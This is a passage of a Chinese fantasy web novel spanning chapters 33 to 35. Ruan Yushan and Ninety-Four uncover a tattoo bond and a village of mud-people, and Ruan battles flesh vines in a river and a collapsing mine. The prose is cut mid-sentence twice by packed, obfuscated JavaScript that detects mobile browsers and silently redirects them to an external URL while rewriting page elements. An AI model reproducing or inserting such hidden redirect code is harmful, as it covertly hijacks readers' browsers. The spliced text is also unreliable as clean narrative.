阮玉山冲完澡进来就瞧见九十四跟条小蛇似的把自己揉成一团抓着他的床脚,就差抱着尾巴了。要不是身子不够软,他险些以为九十四要整个盘在柱子上。 他居高临下地观察了一会子,怀疑九十四是不小心滚落下床又懒得上去才会这样。 阮玉山伸出脚尖搡了搡九十四露在被子外的细瘦小腿,一边心想这人真是被他洗得非常滑溜,一边打算问问九十四要不要上床去。 哪晓得九十四抓紧了床脚柱子,半撑开眼淡淡瞥了他一下,翻个身接着睡了。 阮玉山很瞧不起这样的睡觉习性,嗔道:“脏!” 九十四耳朵尖动了动,像是故意要在他面前把他这话扔开似的,听过就过了,不搭理他,也不跟他计较。 阮玉山在九十四身上一向很能自得其乐,九十四没反应,他也无所谓,正要跨过九十四上床去睡时,忽然瞥见九十四的后肩处的伤口。 今夜九十四穿着他的中衣,领口未免大了些,头发散乱在前后两方,阮玉山行动间便看见九十四后背大片肌肤。 那片鲜艳的赤色珊瑚在垮下去的后衣领口若隐若现,在珊瑚刺青上方,还有一个伤未消失的牙印。 这牙印是两天前的晚上初遇那罗迦时,他在九十四后肩留下的。虽然当时见了血,可如果已过去整整两日,竟然还不见完全愈合。 若是寻常人便也罢了,如此缓慢的自愈速度,放在蝣人身上,可不正常。 要知道阮玉山去饕餮谷那天,谷主在九十四脸上一鞭子挥下去见了血珠的红痕,九十四用一天时间就能好个七七八八,晚上洗澡时便不大看得出了。 怎么如今阮玉山一口咬出来的牙印,却磨磨蹭蹭两天不见好? 阮玉山眸光闪了闪,躬下身去,撩开九十四颈侧的卷发。 先前在院子里没有烛火,那边浴桶洗澡时也是凭着月光照亮,眼下在屋子唯一的烛火边,他才看清九十四脖颈处浅浅的五指印。 是他前晚争吵时在九十四脖子上捏出来的。 这更奇怪了。 阮玉山绝不可能记错,当时他虽心中盛怒,可自认不是个由情绪支配武力的人,掐住九十四的脖子时纵使比平常嬉闹多了两分力,那也不是会在皮肤上留下五指印的程度。 昨晚掐九十四脖子的力气,还比不上在饕餮谷那天给九十四画刺青前,他用手指摩擦对方身体的力道。 画刺青前他可没留情面,指腹每走过九十四后背一处,随之便在九十四的身体上留下了火辣辣的指印。 那时候他那么用力,九十四后背的红印子也还是退得很快。 怎么如今手下越是留情,九十四受伤倒更严重呢? “刺青?”阮玉山呢喃出声。 他放下九十四的头发,在九十四脚边背手沉思着走了两圈,忽然明白了。 没错,是刺青。 纹刺青之前,他刻意在九十四身上摩擦的痕迹都会被蝣人强大的自愈能力快速消除;纹刺青之后,他偶尔不经意留下的指印却久难消弭。 刺青给了他和九十四身体上的阶级划分——他的身体主宰着九十四的身体,给九十四肉身造成的一切感觉都比旁人更甚数倍。 阮玉山想明白了问题所在,往床上一坐,对着九十四细细凝视起来。 痛楚会延续,会加重,会放大,那——快乐和欢愉呢? 窗外的月光逐渐下沉,同阮玉山的目光一起,从九十四白釉似的侧脸缓缓下移到平坦的小腹。 阮玉山捻了捻指尖,又把视线从九十四身下转移到自己身下,心想自己这么多年的枪可不能白练。 得早些离开了。 对于这个问题,九十四看起来似乎比他还急。 次日清晨天才蒙蒙亮,阮玉山按照往常习惯正在院子里练枪,刚杀了个回马,就撞见九十四穿着他一身宽大的中衣中裤从屋子里夺门而出,路过晾衣架子随手扯了又硬又潮的外衫就往身上套。同前天早上一样,衣服才套上先打个冷战,脚下却没停,一径往院外走。 “干什么去?”阮玉山这回不用枪了,直接胳膊一伸,把无礼的蝣人九十四拎起后衣领子往回拽,“公鸡换班儿,轮到你打鸣了?” 九十四扒拉扒拉自己系不拢的前襟,看向阮玉山的眼神里还带着点冷冷的仇视,小声又快速地闷着气说:“拿我的衣带。” 阮玉山:“衣带?” 九十四瞅着他。 这一瞅他想起来了,昨晚在山坡上打架那会儿他给人点了穴,一时间找不着捆手的东西,就把九十四的腰带给拆下来把人两手绑了。 后来他情不自已干了点冒昧的事儿,气得九十四强行冲破经脉把腰带给崩开,落在矿山土坡上,走的时候就没捡回来。 阮玉山瞧见九十四手上握着一根带子,看模样是他先前裁下来的披风,早前九十四为了哄他在手腕上绑了一根,这会儿正好可以拿出来做腰带:“怎么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245566|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用这根?” 他不说还好,一说九十四就一副早等着他问的模样,不声不响地一股脑转过来,挺直了腰,把那根带子展开,往自己腰上一捆——差上一大截! 他那天早上把披风裁出那么多根,偏就这一根短了些,做腰带不够,系手腕上看着倒很长。 九十四目光炯炯地看着他,像是在说他裁的这带子真是成事不足败事有余似的。 “你手腕儿太细,”阮玉山理直气壮,波澜不惊,“这披风裁下来的屋子还有,挨个试试,别去矿山找了。” 九十四一扭头,偏脑袋望着地面,又开始犯倔:“不一样。” “不一样?哪不一样?”阮玉山抄着胳膊,“那是金腰带还是银腰带?赶明儿我给你打一条还不成?” 九十四跟他解释不清楚。 自己的东西,管他金的银的,就算是草编的,也强过别人的百倍。 况且那还是萍水相逢的衣棚老板不计较身份有别亲手送的。 这些想法若是让阮玉山知晓,又要说他穷讲究不可。 于是九十四说:“那不是你的腰带。” 阮玉山不高兴了,九十四话里话外说得好像他是什么瘟疫,让人避之不及似的:“不是我的你就那么宝贝?那么不乐意沾我一分半分,还洗我烧的水吃我做的饭?你浑身上下哪一样不是我的?就连你人都是我的!” 这话就有点明里暗里提起那道刺青的嫌疑了。 九十四本意本不是如此,阮玉山一激,倒是叫他骨子里那股犟性又起来了:“我不是你的。” 他说话像千斤顶似的,打到人身上动静快,出招短,但造成的伤害却不小,心里的想法浓缩在短短半句话里,字字指着阮玉山心窝子戳,专给阮玉山心里火上浇油。 “那你跑啊。”阮玉山打小在军营里混出来的臭脾气也不是一朝一夕就改得了的,舌头直了二十二年还没学会服软。 九十四跟他对着干,他也不憋气话。 阮家人从来记吃不记打,惹了九十四他知道事后得赔罪,但事情在眼前也还是要先惹了再说。 阮玉山指着天边:“你跑出百里外,看你能活几时。那时候你才知道,谁是你的天,谁是你的地!” 他口齿伶俐地说那么一长串,多少有些欺负九十四中原话说不顺溜的意思。 其实话脱口后阮玉山就有点后悔了,觉得自己犯不着非要在口舌上压人一头。 果不其然,九十四冲着就要往外走,一副打今儿就要跑到百里外,死了都用不着他管的架势。 “好了。”阮玉山放软了语气大步流星跨过去,猝不及防就把九十四扛起来往屋檐下走,“你当真……是我祖宗!” 九十四倒是反常地被扛起来一挂,待在在阮玉山肩上不挣不动了。 他这两天早摸清了阮玉山的脾气。 狗嘴里吐不出象牙,自己能跟阮玉山一次置气,还能置二次不成? 蝣人一辈子走过的路就那么两条——从饕餮谷到天子城的,又从天子城回饕餮谷的。 九十四不记路。 一晚上过去,阮玉山留下的马蹄印和脚印被覆盖了,他知道自己现在去矿山压根找不到昨夜的路。 阮玉山自己把他得罪了还好,免得九十四还要另想法子哄阮玉山带他回矿山找衣带。 如他所料,阮玉山将他放下来搁在屋檐下的小木凳上,指着锅里温着的红薯和稀粥,蹲下来在他跟前好声好气哄道:“君子大人吃饭,小人去拿衣带。如何?” 九十四表面默不作声,心里已经不认为阮玉山是小人,反而觉得对方真是个老爷了。 因为大丈夫能屈能伸,阮玉山的柔韧劲儿,简直比大丈夫还灵活一个辈分。 阮玉山见他不说话,便晓得他是默许了。 随即便起身放好枪,洗了把手和脸,牵着马出门往矿山去。 刚出小院,阮玉山便乜斜着院子,哂笑:“雕虫小技。” 他走出村子时再次往村落外围的几棵柳树看了看,随后并没前往矿山,而是先去了画着地符的那条河边。 34.白骨 在饕餮谷生活的十八年里,九十四学到一个很重要的道理:不管过程如何,只要结果是自己要想的,那一切都无所谓。 比方说身边的族人快饿死了,那是拿钱求驯监帮忙买些粗糙的食物,还是割破身体把自己的血喂给族人,又或者捡到一块腐烂的生肉让对方吃下,只要能先活下来,什么手段都不重要。 再比如他需要让阮玉山帮他拿回自己的腰带,那是用哄的也好,用骗的也好,阮玉山看出来了也好,没看出来也罢,也不重要。 蝣人的行为准则总是无可避免地会向野兽的思维靠拢,唯一的底线是不伤害同族,其余的德行礼节是一概不知,九十四也难逃此中。 既然目的达到了,阮玉山也被他打发走了,他自个儿唏哩呼噜吃毕了饭,又跑回房里翻书去。 这屋子里书架上堆在表层的那些书,虽然好拿,但总是过于晦涩,又不见一星半点的批注。 九十四想,越积压在底层的书卷便用得越早,说不定那些书本上的内容会简单些。 他从黑压压的架子最底部抽了一本出来,连带着被扯出来的,还有一个簿子。 九十四皱眉。 他认得这个簿子,上面写满了吃羊的日录。 可是他上次放的时候,是在这儿吗? 九十四又翻了翻,发现上面的字迹并无变化。 此时,外面突然响起小孩子嘹亮的哭声。 九十四循声而出,瞧见学堂的小孩儿站在院子外,跟看门的那罗迦对峙着。 一人一兽之间隔着一段距离,那罗迦目露凶光,盯着对方,小孩儿看样子也是有事而来,碍于那罗迦的凶恶,不敢踏步上前。 九十四一踏出门,那罗迦就跑过来。 阮玉山在的时候那罗迦是不敢进院门的,他给它下了命令看门,那罗迦总有些怵他。 可九十四在就不一样了,对待他,那罗迦总是异常亲近。 打那罗迦认母的第一眼起,它的母亲便没有束发。 九十四不会束发,因此他一头卷曲的长发总是披散着。 那罗迦长得又高又健壮,几乎能到九十四的腰部,稍微一抬头,就能用湿润的兽鼻去嗅九十四的发尾。 那罗迦正嗅得起劲,九十四忽然摸了摸它的头,兴许是对这么一个自己曾经亲手杀死的野兽的亲近感到别扭,可又觉得自己应该做出一副亲和的姿态,九十四温声却不由自主冷着脸说:“你守在这里,不要出去。” 那罗迦的尾巴摇得只剩残影。 九十四走向院外,来找他的小孩儿总算停止了哭声。 他问对方来做什么,小孩儿抽抽嗒嗒地说夫子要他去学堂。 九十四擦去小孩儿左脸三只眼睛的眼泪,慢慢起身道:“等着。” 他回到屋子,找到阮玉山的包袱,又从书架上拿回自己练字的纸笔,顺带拿走了那本吃羊日录,接着找到阮玉山的木枪,踏出门时同屋檐下的那罗迦对视了一眼。 那罗迦当即席地而坐,一动不动,十分听话乖巧。 九十四背起行囊拿着枪,担着阮玉山目前所有的家当,离开院子前拿着阮玉山曾用过的笔墨留下了一张字条。 接着又去到牛棚里自己小马的面前,解开了那匹马的绳索,摸了摸它的滑溜的皮毛,用蝣语小声道:“有缘再见。” 最后他又深深地看了一眼那罗迦,扭头跟随院外的人前去学堂。 这一次前往学堂的路似乎比前两天长了许多。 九十四走了很久很久。 从天亮走到了正午,他回头一瞧,沉思少顷,又往回去。 可是回去的路似乎也变得没有尽头。 九十四面不改色地一直走。 在路上他看见那片杨树林,如今林子里的树木都在倒悬生长:长长的根茎向天蔓延,树的枝叶扎进土地里;又看见他之前压垮的房子门窗已互换了位置:门在屋顶倒立,进门看得见地板和屋脊在同一个层面各占一半,屋子里两个人坐在屋顶的地板上吃饭,用后背长出来的嘴进食,窗子在进门的位置对内开着,床安在窗子上方。 他再往前看,今日的路多了许多分岔口,向左不过三十步便是昔日学堂门口的围场,围场后面却不见学堂——学堂的屋子和门前的土地分开了。 九十四越走就越感觉到道路十分拥挤,每隔两步脚边便是在地上蠕动的人头,以及大量散落的四肢,许多肢体上长满了数不清的指头,还有一些状似五官的模糊轮廓在表皮下挣扎着似要长出来。 “这条路,每天都是这样?”九十四头也不回地问。 “是啊。”后面一滩跟随他的淤泥发出小孩儿声响。 九十四踏进了学堂的半扇门,发现窗子长到了屋顶,四面的墙上散落着残缺的几角门窗,桌椅像被打散似的七零八落嵌入到墙壁,有的只能瞧见一个桌角,有的只剩桌子腿,墙体上有些近似人形的物体蠕动着靠在那些桌面,又有许多四肢从四面八方伸出来。 “夫子呢?”他又问。 “夫子呢?” 后面的淤泥似乎无法回答这么需要思考的问题,于是只能跟着九十四重复。 九十四把胸前阮玉山的包袱又绑紧了些,木枪从左手换到右手。 “第一次来学堂那天,我看到你的父亲。”九十四握着枪,环绕学堂内部慢慢踱行,边走边抬头看向头顶的窗子,发现自己走了整整一日,外边的天已经快黑了,“他只有半个脑袋,跟他同行的人一样。” 屋内的一切愈发混乱。 后面的淤泥渐渐凝出一双脚。 “人可以有半个头,三只眼睛,肚子上长手。”九十四低头,看向自己右手手背一个非常细小的伤口,那是他和阮玉山来到这里第一天被卷入大雾时,从地下冒出来的小肉芽刺破的地方。 如今那里看似愈合,实则周围的一圈皮肤已然硬化了。 九十四伸出指尖在那上面摩挲,像摸到一块干枯的泥土。 他突然想起阮玉山的腰腹和小腿曾受过比这更重的伤,而对方似乎完全没有察觉到身体的变化。 他开始思索这般变化是从何而起。 大概就是从迷阵返回的第二天开始,九十四的认知逐渐模糊。 好像人的眼睛和四肢完全可以像衣裳一样,想穿几层穿几层,想长几处就长几处。 村子里的行走者越来越多,路边随处可见,尽管九十四回想起来时,他们永远没有具体的面貌,甚至难以叫他想起那些人有几只腿,几双手。 他甚至听得见夜晚河流里无数的呼吸。 而阮玉山似乎也默认了这村子里会有这么多人,院外人来人往,他像早已习惯一般。 九十四想,这大概是他身体里有着一部分那罗迦血液的缘故,此地妖灵妖力不胜那罗迦,故而即便自己受了伤,也不会完全被干扰心智,纵使认知在被同化,却多少能看出异常;阮玉山则被完全蒙蔽了感知。 若他没猜错,对方的身体此刻已经发生了比他严重数倍的泥化变质。 “直到刚才在院子里,那罗迦站在我的旁边,我突然想起来。”九十四的拇指摩擦过枪尖上阮玉山亲手刻下的符咒,眨眼间将长枪双手握住,转身起势一把刺向身后已经凝结成一面墙高的人形淤泥,“人的头颅不会只有半个!” 木□□破淤泥幻化的人墙,学堂内外蓦地从四面八方响起鬼号般尖锐的呼啸,天色迅速暗沉下来,方才不过临近夜幕的天空在此刻仿佛纠集了数不清的乌云,如一滴浓墨覆盖整个天际。 九十四周身的一切急剧变化着,白墙熔化,淤泥四起,举目所见尽皆变作一个散发着浓烈恶臭的熔炉,无数的人脸和四肢从他前后左右挣扎着企图冲突壁垒扑到他身上。 “你的妖力撑不住多久了。” 他淡淡地对着眼前不成形的淤泥说道。 这里时间和空间都发生了不同寻常的混乱,九十四古井无波,调动体内充沛的玄气,按照阮玉山所教的,将内力与玄力分别凝聚到劳宫和下丹田,紧握长枪,将先前在阮玉山手下偷师的那几招枪法/轮换着打出去,又学着今早出门时看见阮玉山的那一招回马,生生连着杀了数十个淤泥,再振振将其打向周边不断凝聚又消解的腐肉中,第一次对着除了阮玉山以外的人说道:“去死吧!” 阮玉山在河底骤然睁眼。 骨珠的事已经有了下落,那么目连村便不必再长留。他打定主意今晚去矿山找干麂带自己见了老太爷的骨珠就走,先去与林烟汇合,再想法子去天子城拿盂兰古卷。 因此一大早出门时,阮玉山先牵马到了河边,想在临走前看看那地符是否暗藏蹊跷。 不去不知道,一去还真让他发现了点东西。 摆在河边的这一套地符,每根桃枝插/入的土坑都比树枝本身大上一圈。 这说明这些树枝时常被人取下又重新插回去。 至于这个取下的频率——阮玉山略作思忖,很自然地联想到了每晚滚落到河里的声音。 这地符是非常简单的禁行符,属于六七岁略通玄力的小孩儿看一眼就能学会的符阵,玉山记得这符阵顶多用来挡挡没有开智的家禽,甚至连稍微有点智慧的野兽都挡不住。 小时候夏日多蚊虫,他又不喜欢院子里人的守在门外伺候,有时便会在门窗外画一个类此的地符阵,把蚊子挡在外边。 下阵人把这地符画在此处,显然不是为了阻拦正常的人类。 倒像是阻止一些毫无思想的傀儡。 既然每晚都有落河之声,那就应该是每晚都有人取下桃枝,方便那些东西滚进河里,再在早上把它们插回去。 联想到先前衣棚老板所说“河下有东西”,阮玉山更感兴趣了。 这符,到底是阻止河上的东西进入河下,还是阻止河下的东西上岸? 思及此,他回头往衣棚的位置看了一眼,发现今日老板并未出摊。 老板也是村里人,此时该在何处? 他摸了摸怀里那只小小的竹筒,望着毫无波澜的河面,将树枝插回原位,垂眼一笑,纵身跳了进去。 入水的那一刻阮玉山尚未察觉任何异常,冰冷的河水浸透全身,他沉下心感知河水带来的冰凉,企图从片刻的幽静中找到蛛丝马迹。 很快,他发现自己左边半个腹腔和一整条小腿都没有知觉。 连一丁点河水的温度都感受不到。 阮玉山福至心灵地同九十四一样,想到了进村第一晚,那个迷雾中险些将他二人杀死的肉藤。 与此同时,他还想起了九十四领着两个山户回来找他借钱时,九十四将金叶子递给山户那一瞬转头看向他的眼神。 那些山户不对。 而且是他肉眼瞧不出的不对。否则九十四不会扭头对他投来那样一个眼神。 ——九十四在那时就察觉了蹊跷。 可是阮玉山看不到,因为他身上没有那罗迦的血。 他怀疑九十四兴许也在与那堆肉藤争斗的过程中受了伤,只是没有自己严重,否则以九十四的疑心和敏锐,察觉蹊跷绝不会只是朝他皱眉一看那么简单。 阮玉山几乎在这一瞬间想通了村子里的人会在何处表现出怪异。 一定是身体上。 那晚九十四拿着他画的丹青,一遍遍问他人是不是都该长成画上的模样——那已是九十四的直觉在发出警示。 只怪他那时怒从心起,忙着撒气,竟没从九十四的只言片语中品出异样。 阮玉山解开衣带,剖开衣领往自己左腹一瞧,那一整块皮肤,已经有巴掌大的地方变得坚硬无比,仿若泥土干结成块后的模样。 昨夜在院外沐浴时,他分明看见自己腰腹和小腿呈现出泥块状的样子,当时却丝毫不觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259795|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得反常。 眼下一入了水,神智竟空前地清明了。 这整整三天,他们在村子里见到的都是些什么东西? 泥人? 更有甚者,兴许不是人变成了泥,而是泥变作人了。 阮玉山正思索着,耳边突然响起数不清的尖啸声,似风一般将他卷入其中,仿佛他的整个身体已化作一缕青烟,又或是一抹泥浆,被挟裹着加入万千浪潮,不断盘旋。 而他所在的这个人潮,正向某一个目标冲击过去。 他抬头,看见了九十四的脸。 九十四站在错乱的桌椅前方,背着他的行囊,手上拿着他的枪,一对高眉沉沉地压低着,那把枪的枪头上还闪烁着阮玉山那日亲手雕刻的请火神咒,此刻已被九十四握在手中,带着难以抵挡的迅猛玄力刺向他。 他听见九十四对着他和他周围的万千鬼魂与正在喧嚣的神思怒喊:“去死吧!” 阮玉山猛地消散了。 他陡然睁眼,想到刚才那片刻的场景,若是真的,那说明他的神识已会在不知不觉中因为此次受伤被摄取了。 自己仍在水中,他原本凝固成陶土泥块的腰腹和小腿,不知在何时悄然被两根肉藤刺穿。 两根肉藤宛如两根灵活的触角,正在阮玉山身上探寻,下一个刺破的位置该在哪里合适。 阮玉山心中好笑。 蛊惑了他去刺杀九十四,这会儿还想拿他当布娃娃来缝? 他抽出怀中那个小巧精致的竹筒,从里面拿出一把淬满了那罗迦血液的匕首。 从在深陷大雾后回到小院的那夜,阮玉山留了个心眼,将他和九十四取回来的大把那罗迦血液涂在了自己随身携带的一把匕首上,那本是府里人装给他切水果的小玩意儿,阮玉山为了以防万一,便留了这么一手。 原打量着九十四这些日子也不会离开自己身边,一把匕首足矣,哪晓得把那人留在村子里也会出事。 那罗迦血液刺鼻的气味在河水中也挥发得极快,刺穿他身体的两条肉藤似有感知,露出一点要抽身离开的趋势。 阮玉山手起刀落,从身后斩断了腰间的肉藤,将其残留在自己体内的那一截取出,翻手抓住正要撤退的那部分,小腿处的那根在电光石火时立时窜得没影儿。 他回身,顺着自己逮住的那根肉藤往来处看过去。 莹莹微光闪烁在远处无比黑暗的河水中,阮玉山看到一个无比巨大的倒立的树,树的根茎隐没在无边无际的暗处,倒立的树枝通体皆为森森白色,密密麻麻的枝条纵横交错,茎杆分叉了又分叉,发散出无数个细微的末端,每个末端的内部都开着白色的花。 阮玉山眯眼,定睛细看,发现那并不是花。 全都是一副副白皑皑的人体躯骸。 不远处有几粒白色微光渐渐靠近。 阮玉山迟疑了一瞬,下意识往后退去。 微光越来越近,越来越多,直到斑斑点点直面他的身体游走过来。 他忽然看清了那是什么。 数不清的根茎像丝丝缕缕交织的白线发了疯地向他冲刺而来! 阮玉山心下一沉,自己可没功夫跟它们这些东西硬耗。 他脑子里只有一个想法。 跑! 阮家儿郎可不是为了逞一时之勇而蒙头送死的匹夫。 他利落砍断几根近前的藤曼,转身就往岸上游去。 果然不出阮玉山所料,自己上了岸,那些东西便犹如同外界隔着一层屏障,无法突破水面。 可是天竟然黑了。 阮玉山分明记得,自己出院时天还是蒙蒙亮。 他一待就在水下待了将近一个白天,险些当真成了九十四最期望的活死人。 天边一轮薄薄的月亮若隐若现,远处矿山传来非常渺茫的采矿声。 一月两次的朔望之夜开始了。 阮玉山看了一眼过山峰的方向,心里感知到九十四的安危暂时无虞,但思来想去,还是先进了村子。 小院里没人,不见那罗迦,更不见九十四。 阮玉山神色凝重,踏步走进院子,却看见当日他曾给九十四留纸条的地方也放了一张纸条。 ——“若你折返,不必寻我。” 落款是九十四。 这字迹正文写得歪扭潦草,落款的名字却锋利有劲——因为当时阮玉山只教了九十四写名字,确实是九十四写的没错。 这是嫌他做事浪费时间。 阮玉山微微一哂,再无疑心,把字条收起来贴身放好后翻身上马,朝矿山飞奔而去。 半个时辰的脚程,他抵达矿山时天色已晚。 刚到地方阮玉山便觉得不对劲。 才从河里出来时分明能听到虽然遥远但有迹可循的采矿声,怎么这会儿到了山脚,反而整个山头寂静无声,听不到一点动静了? 见此,他便把马留在山脚,以防有所不备出了事,阮家派人来寻,找不到他的踪迹——当年老太爷就是这么做的,留了一匹马在此处,死信活信好歹是留了消息让阮家人知道个头绪。 阮玉山趁着夜色上山,按照前一晚的路线,在自己与九十四缠斗过的地方找到了那几截被崩断的腰带。 捡起来后他拍了拍上头的灰,工工整整折起来放到衣袋最深处,再从竖井中下到矿洞。 矿道里灯火通明,却见不到一个干麂。 干麂留在矿道,算是神器为了守护阮老太爷骨珠所设的一种存在。 骨珠在,干麂在;骨珠被夺,干麂消散。 可是现在,所有的干麂都消失了。 “小玉山儿。” 他果然听见曾祖父的声音。 阮玉山回头,这次却没有见到老太爷的幻影。 对方的声音只从矿壁中传出,肃杀而急切,言简意赅对他道:“快跑。” 35.汇合 阮玉山还没来得及跟他老太爷回嘴,这一整个矿道就恍惚摇了一下。 他眼珠子一转,抬头问道:“您老人家骨珠被拿了?” 矿壁里没有再传来声音。 阮玉山明白了,他老太爷的元神消散了。 刚才矿壁上提醒他的那一声,大抵是老人家在消散前,最后一刻的弥留之语。 神器和骨珠在封印中各司其职,骨珠同时也受神器束缚,阮老太爷元神消散,必是骨珠离位,触动禁制了。 整座山在眨眼间猝然震响,大大小小的碎石从矿壁的各个木格间落下,地面不断产生剧烈的摇晃,以一种天崩地裂的架势向内塌陷着,仿佛开启了某种自毁的过程。 阮玉山定神一想,以眼前这座山塌陷的方式来看,应当是神器——又或是无相观音当年将神器安排在此,为保封印重重加固,亲自设下的禁令。 一旦原本的封印被外来者蓄意破坏,首先触发神器的杀制,就像当年矿道里数百个佘家寨的人,触碰神器结界的一瞬眨眼间变作干麂,同阮老太爷的骨珠一起永远驻守在此;若神器一时找不到罪魁祸首,再慢慢用自己的方式去感应和寻找,比方通过变成干麂的佘家寨的人的记忆判定和搜寻到阮老太爷,将其引诱至此杀死。 可什么情况会导致一整座山骤然倾塌自毁? 除非是状况十分危急。 ——过山峰。 阮玉山心中一震。 难道是被破坏的封印在骤然之间压制不住过山峰的力量,加之神器不愿让盗取之人从此逃脱,才会在顷刻间催动山崩之法,将其短时间内再压制一段日子? 那到底是谁来盗取骨珠? 身后传来一声巨响,阮玉山扭头,发现身后的竖井早已坍塌,被碎石填平了。 阮玉山负手看向不断向前延展的矿道,嘴角虽还挂着跟老太爷揶揄时的笑,眼色却早已阴冷下来。 他倒要看看,是谁敢动他家老太爷的骨珠。 阮家人从来是个比个的有主见。 阮玉山打定主意要跑的时候,能溜得比谁都快;倘或他不想跑,老太爷的话也不管用。 他既然答应了阮老太太要拿回骨珠,若是因着其他缘故拿不回去也就罢了,比如天灾,又比如阮玉山得先找到另一件神器替换老太爷的位置,这些他都无话可说;可若是人祸使得骨珠失窃,害阮老太爷神魂消散,阮玉山就是追到天涯海角,也要把人大卸八块拿回去给老太太一个交代。 整座山脉在逐渐分崩离析,他的脚下出现了许多裂痕,无数的石块从他头顶坠落砸下,阮玉山一边伶俐躲着,一边往矿道深处走去。 他不打算跑,也跑不了——从察觉出不对劲那一刻起,阮玉山心里就有了自己的打算。 死是死不成的,再大的山崩跟遇见没有那罗迦那晚的情况也不同。 被那罗迦杀死,硬生生让那畜生嚼碎了骨珠吞吃进肚子,这是实实在在的绝路,因此阮玉山初遇那罗迦那晚会拼了命地跑,不跑就真没命可活了。 但若此地只是山崩,他肉身在此被毁,只要还留有一颗骨珠,阮家自然有秘术让他可活。 这也是他不打算往外跑的主要原因——山体塌陷,落石乱滚,他要是出去了指不定会被泥石流冲到哪儿去做孤魂野鬼;佘家寨的矿道有自己的路径和构造,倘或他真在此遇到不测,留在矿道深处,阮家打发人来寻,首先便是探着矿道的位置摸排,早些找到他的骨珠,也省得浪费时间。 骨珠还在,九十四的性命便不会受到牵连,说不准还会因此解除跟他的刺青关联,思及此阮玉山更是气定神闲。 何况他也不认为自己今日真会丧命在此。 当年老太爷孤身入矿,兴许怀揣的便是阮玉山这般想法。 可惜阮老太爷不走运,没料到要取自己性命的是降世神器;而当时的矿道诡异非常,从来有进无出,阮家也不敢贸然派人来寻老太爷的骨珠。 人算终究难以胜天。 阮玉山是青出于蓝胜于蓝,比他老太爷更自负,更傲慢,更不怕死。 头顶接二连三传来山体倒塌的轰鸣,一片片灰尘连结成水帘似的倾泻而下,大大小小的废石顺着矿壁滚落,次次都只差毫厘便砸到阮玉山身上。 他顺应山体摇晃的频率在矿道里间或颠倒方位飞快地跑着,跑了不过两丈,便察觉出蹊跷。 虽说山石倾塌时总是错落滚下,可他在奔跑的过程中每隔几步便总能到一处让人在落脚时周身无虞的地方,就好像那个位置的一片矿壁从头通到脚都纹丝不动——也就是说,这座山的坍塌很有可能是部分性的,甚至可以说是有目的性和计划性的。 阮玉山按照自己的先前几次的经验再次停驻在一个矿道角落,果不其然,他站在这里,任前后矿道的岩石如何松动分解,自己容身这一方天地却安稳不动。 他四处视察了一圈,就自己目前所能看到的范围而言,这样的地方每隔几步便是有一个,整座矿山保留的部分应当更是数不胜数。因为空间小,分布密,加上其他地方摇动猛烈导致灰尘漫天,若不细看便难以发现这些遮蔽处。 至此他才确定,整座矿山塌陷的方式一定有迹可循。 山体中的碎石仿佛是分区域地呈现出某种既定轨迹,落地之后好似被划分到了某个范围,范围内所有山石都在往其间一个方向滚动。 大片山体塌陷下去,山却没垮掉,似乎这山有一个本身搭建好的内部框架,像一个木架子上堆满了灰,等待着某一时刻灰尘全部抖落,而木架却会一直稳如磐石。 如今这些簌簌颤落滚入山底的岩石便是木架上的灰尘。 佘家寨的矿道并没有建到底,现在阮玉山的位置顶多在一个山腰的高度,无数个塌陷的地方形成了一个个深不见底的空洞,那些滚落到下方的岩石似乎正在空洞里聚集起来。 难道这场塌陷是要等所有的山石全部滚落,露出整座山的框架才算完成? 阮玉山在矿道的角落里飞快地思索着。 不,不对。 这座山即便真如他所想有一个刻意构造出来的框架,这框架便同山一起在此屹立多年,显露与不显露在本质上并无变化,山体既然在此时崩解,那必然是以变制动,为了遏制此时在封印下要出逃的妖物。 而眼下整座山一直在动的并不是这个框架。 ——是无数簌簌落下的矿石。 阮玉山将目光洒向身前密密麻麻的无数空洞,它们有的挨靠得极其近,有的却隔得很远,虽然不同的空洞之间间隔有近有远,但决没有哪一个独立于周围所有的坑洞。 就像刺绣图案上一个一个连成线的针脚,近则同线,远则分线。矿道里所有的灯差不多都被砸熄了,现在那些分批挨近的坑洞连数条曲线后全部蔓延到阮玉山身后的黑暗中。 阮玉山扭头朝更深处跑去。 以他多年在阮家练功学符的眼光来看,这些坑洞中滚落的矿石连接成线,是在完成某种阵法。 阮玉山在矿道中健步如飞。 被他甩下的后方是无数已然落定的空洞,前方却有大量山石还在坠落,甚至许多坑洞尚未显露,随时都有一脚踩下去跟随矿石落空的危险。 他凭靠自己的记忆,选中延展过来的某一条不算十分弯曲的线,看清洞线的走势,按照每个坑洞之间的间隔下脚,稍有不慎,就会随石块一同坠落。 跑着跑着,他的余光闪过一抹人影。 席莲生? 阮玉山停下脚,躲避着山石退回去,站定在席莲生跟前。 他没看错,正是席莲生。 此人窝在一处摇摇欲坠的三角区,人已陷入昏迷,身上落满了灰,脸部还有不少伤口,一看便是被落下的山石打出来的痕迹。 阮玉山再看席莲生怀里的东西,额前青筋瞬时突突直跳。 老太爷的骨珠! 他伸手夺走席莲生手中那颗澄澈到已近乎透明的高阶骨珠,一脚把人踹醒,眼看席莲生刚刚睁眼就摇摇晃晃要往山底滚下去,阮玉山再拎住对方衣领,几乎快单手把席莲生整个人从地上提起来。 “又是你!”阮玉山目眦欲裂,“你到底是个什么东西?” 